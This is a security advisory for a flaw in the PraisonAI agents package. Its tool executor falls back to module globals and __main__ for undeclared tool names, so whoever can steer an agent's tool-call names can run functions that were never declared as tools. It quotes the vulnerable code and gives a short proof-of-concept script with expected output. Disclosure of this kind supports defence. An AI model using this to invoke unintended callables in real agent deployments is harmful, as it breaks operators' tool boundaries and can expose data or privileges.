PT-2026-59549 · Pypi · Praisonai
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
8.6
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L |
Summary
praisonaiagents resolves unresolved tool names against module globals and main after it fails to match the declared tool list and the registry. With the default agent configuration, perm allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.Details
The vulnerable resolution path is in [
[tool execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool execution.py:734)](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool execution.py:734). After searching declared tools and the registry, execution falls back to globals() and then main:python
func = None
for tool in self.tools if isinstance(self.tools, (list, tuple)) else []:
...
if func is None:
try:
from ..tools.registry import get registry
registry = get registry()
func = registry.get(function name)
except ImportError:
pass
if func is None:
func = globals().get(function name)
if not func:
import main
func = getattr( main , function name, None)If a callable is found, it is executed directly:
python
elif callable(func):
casted arguments = self. cast arguments(func, arguments)
return func(**casted arguments)The permission gate does not enforce a declared-tool allowlist by default. In [
[tool execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool execution.py:550)](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool execution.py:550), execution is only rejected if perm allow is non-None:python
if self. perm deny and function name in self. perm deny:
return {"error": f"Tool '{function name}' blocked by permission policy", "permission denied": True}
if self. perm allow is not None and function name not in self. perm allow:
return {"error": f"Tool '{function name}' not in allowed tools list", "permission denied": True}Default agent initialization sets
perm allow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):python
self. perm deny = frozenset() # Permission tier deny set (empty = no denials)
self. perm allow = None # Permission tier allow set (None = allow all)The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:
- [
[test permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test permissions.py:56)](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/[test permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test permissions.py:142):56) asserts that a defaultAgenthasperm allow is None. - [
test permissions.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test permissions.py:142) explicitly checks thatagent. check tool approval sync("my custom tool", {})passes for an undeclared tool name.
Empirical verification:
I verified the bypass locally on commit
d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in main, giving the agent an empty tools list, and invoking execute tool() with that undeclared name. The tool executor ran the main function anyway.PoC
Environment
- Repo:
MervinPraison/PraisonAI - Commit:
d8a8a786915dc67a7c3021e24f72458f2eac5d9c - Verified against PyPI package versions available on May 3, 2026:
praisonaiagents1.6.35PraisonAI4.6.35- Python 3
Steps
- From the repository root, run:
bash
python3 - <<'PY'
import sys
from unittest.mock import MagicMock, patch
sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents')
from praisonaiagents.agent.tool execution import ToolExecutionMixin
def sneaky(msg='ok'):
return {'ran': msg}
class HookRunner:
def execute sync(self, *args, **kwargs):
return []
def is blocked(self, results):
return False
class Dummy(ToolExecutionMixin):
def init (self):
self.name = 'demo'
self.tools = []
self.chat history = []
self. hook runner = HookRunner()
self.context manager = None
self. doom loop tracker = None
self. perm deny = frozenset()
self. perm allow = None
self. approval backend = None
mock registry = MagicMock()
mock registry.approve sync.return value = MagicMock(approved=True, reason='mock', modified args=None)
mock registry.mark approved = MagicMock()
with patch('praisonaiagents.approval.get approval registry', return value=mock registry):
agent = Dummy()
print(agent.execute tool('sneaky', {'msg': 'hello'}))
print(mock registry.approve sync.call args)
PYExpected output
text
{'ran': 'hello'}
call('demo', 'sneaky', {'msg': 'hello'})The important point is that
sneaky was never declared in self.tools and was only present in main.Impact
- Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools.
- Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to
globals()andmain. - Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonai